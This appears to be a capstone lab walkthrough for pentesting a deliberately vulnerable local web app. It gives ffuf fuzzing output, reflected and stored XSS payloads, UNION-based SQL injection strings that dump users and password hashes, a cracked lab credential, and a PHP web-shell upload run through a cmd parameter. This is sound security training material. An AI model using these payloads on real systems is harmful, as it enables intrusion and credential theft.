Web App - Capstone Practical Lab

Analyze and pentest the web application by finding all the impactful issues.

  • Run BurpSuite to capture all the traffic and browse to http://localhost/capstone/

ffuf -u http://localhost/capstone/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -recursion

ffuf -u http://localhost/capstone/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -recursion -fs 274
________________________________________________

 :: Method           : GET
 :: URL              : http://localhost/capstone/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 274
________________________________________________

admin                   [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 1ms]
[INFO] Adding a new job to the queue: http://localhost/capstone/admin/FUZZ

assets                  [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 2ms]
[INFO] Adding a new job to the queue: http://localhost/capstone/assets/FUZZ

auth.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 7ms]
                        [Status: 200, Size: 14261, Words: 2458, Lines: 109, Duration: 116ms]
coffee.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 18ms]
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 21ms]
index.php               [Status: 200, Size: 14261, Words: 2458, Lines: 109, Duration: 69ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 12ms]
index.php               [Status: 200, Size: 14261, Words: 2458, Lines: 109, Duration: 75ms]
init.php                [Status: 200, Size: 238, Words: 22, Lines: 8, Duration: 155ms]
[INFO] Starting queued job on target: http://localhost/capstone/admin/FUZZ

admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 28ms]
admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 32ms]
[INFO] Starting queued job on target: http://localhost/capstone/assets/FUZZ

:: Progress: [9228/9228] :: Job [3/3] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
  • Sign up with a weak password and login

  • The message is reflected on the URL

Try some HTML injection and XSS

  • ๐Ÿ“Œ Reflected XSS is present

Go to http://localhost/capstone/coffee.php?coffee=1

  • Try XSS it in the Add rating comment - <script>prompt(1)</script>

  • Refresh the page to test the stored XSS

  • ๐Ÿ“Œ Stored XSS is present

Try SQL injection in the http://localhost/capstone/coffee.php?coffee=1 URL

  • ๐Ÿ“Œ SQLi

    • =1' or 1=1-- -

    • =1' union select null,null,null,null,null,null,null-- -

    • =1' union select null,TABLE_NAME,'string',null,null,null,null FROM INFORMATION_SCHEMA.TABLES-- -

    • =1' union select null,COLUMN_NAME,'string',null,null,null,null FROM INFORMATION_SCHEMA.COLUMNS-- -

    • =1' union select null,username,password,null,null,null,null FROM users-- -

  • Try to crack some of the hashes with mode bcrypt $2*$, Blowfish (Unix)

  • Run sqlmap on the http://localhost/capstone/coffee.php?coffee=1 request

    • Get it from BurpSuite

๐Ÿ“Œ Creds - jeremy:captain1

  • Login as jeremy

  • Browse to http://localhost/capstone/admin/admin.php

Try to add a new coffee and upload a file.

  • Find the POST request, send to Repeater and try to upload a shell

  • The file has been uploaded successfully

  • Open http://localhost/capstone/assets/12.php

    • http://localhost/capstone/assets/12.php?cmd=whoami

    • ๐Ÿ“Œ Insecure file upload successful


Last updated

Was this helpful?